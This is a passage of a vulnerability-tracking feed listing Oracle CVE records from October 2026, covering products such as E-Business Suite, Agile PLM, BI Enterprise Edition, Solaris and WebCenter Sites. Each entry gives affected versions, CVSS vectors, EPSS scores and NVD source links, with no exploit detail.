Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  While the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Purchasing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Purchasing accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91511).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91511&date=2026-10-25).
Sources:
NVD CVE-2026-91511: https://nvd.nist.gov/vuln/detail/CVE-2026-91511
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91511&date=2026-10-25
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  While the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Purchasing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Purchasing accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91512
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91512).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91512&date=2026-10-25).
Sources:
NVD CVE-2026-91512: https://nvd.nist.gov/vuln/detail/CVE-2026-91512
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91512&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91515
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91515).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91515&date=2026-10-25).
Sources:
NVD CVE-2026-91515: https://nvd.nist.gov/vuln/detail/CVE-2026-91515
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91515&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Management Pack for Oracle GoldenGate product of Oracle GoldenGate (component: EM Plugin).
https://kevwire.com/record/CVE-2026-91517
Vulnerability in the Oracle Management Pack for Oracle GoldenGate product of Oracle GoldenGate (component: EM Plugin). (Oct 20, 2026).
Vulnerability in the Oracle Management Pack for Oracle GoldenGate product of Oracle GoldenGate (component: EM Plugin).  Supported versions that are affected are 13.4.1.0.1-13.5.2.0.6. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Management Pack for Oracle GoldenGate executes to compromise Oracle Management Pack for Oracle GoldenGate.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Management Pack for Oracle GoldenGate. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91517).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91517&date=2026-10-25).
Sources:
NVD CVE-2026-91517: https://nvd.nist.gov/vuln/detail/CVE-2026-91517
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91517&date=2026-10-25
Vulnerability in the Oracle Management Pack for Oracle GoldenGate product of Oracle GoldenGate (component: EM Plugin).  Supported versions that are affected are 13.4.1.0.1-13.5.2.0.6. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Management Pack for Oracle GoldenGate executes to compromise Oracle Management Pack for Oracle GoldenGate.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Management Pack for Oracle GoldenGate. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91520
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91520).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91520&date=2026-10-25).
Sources:
NVD CVE-2026-91520: https://nvd.nist.gov/vuln/detail/CVE-2026-91520
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91520&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91521
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91521).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91521&date=2026-10-25).
Sources:
NVD CVE-2026-91521: https://nvd.nist.gov/vuln/detail/CVE-2026-91521
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91521&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core).
https://kevwire.com/record/CVE-2026-91527
Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core).   The supported version that is affected is 8.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit.  Successful attacks of this vulnerability can result in takeover of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91527).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91527&date=2026-10-25).
Sources:
NVD CVE-2026-91527: https://nvd.nist.gov/vuln/detail/CVE-2026-91527
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91527&date=2026-10-25
Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core).   The supported version that is affected is 8.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit.  Successful attacks of this vulnerability can result in takeover of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-91532
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91532).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91532&date=2026-10-25).
Sources:
NVD CVE-2026-91532: https://nvd.nist.gov/vuln/detail/CVE-2026-91532
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91532&date=2026-10-25
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General).
https://kevwire.com/record/CVE-2026-91534
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Business Intelligence Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91534).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91534&date=2026-10-25).
Sources:
NVD CVE-2026-91534: https://nvd.nist.gov/vuln/detail/CVE-2026-91534
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91534&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Business Intelligence Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search).
https://kevwire.com/record/CVE-2026-91535
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91535).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91535&date=2026-10-25).
Sources:
NVD CVE-2026-91535: https://nvd.nist.gov/vuln/detail/CVE-2026-91535
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91535&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).
https://kevwire.com/record/CVE-2026-91537
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91537).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91537&date=2026-10-25).
Sources:
NVD CVE-2026-91537: https://nvd.nist.gov/vuln/detail/CVE-2026-91537
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91537&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services).
https://kevwire.com/record/CVE-2026-91539
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91539).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91539&date=2026-10-25).
Sources:
NVD CVE-2026-91539: https://nvd.nist.gov/vuln/detail/CVE-2026-91539
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91539&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).
https://kevwire.com/record/CVE-2026-91542
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). (Oct 20, 2026).
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91542).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91542&date=2026-10-25).
Sources:
NVD CVE-2026-91542: https://nvd.nist.gov/vuln/detail/CVE-2026-91542
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91542&date=2026-10-25
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).
https://kevwire.com/record/CVE-2026-91545
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91545).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91545&date=2026-10-25).
Sources:
NVD CVE-2026-91545: https://nvd.nist.gov/vuln/detail/CVE-2026-91545
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
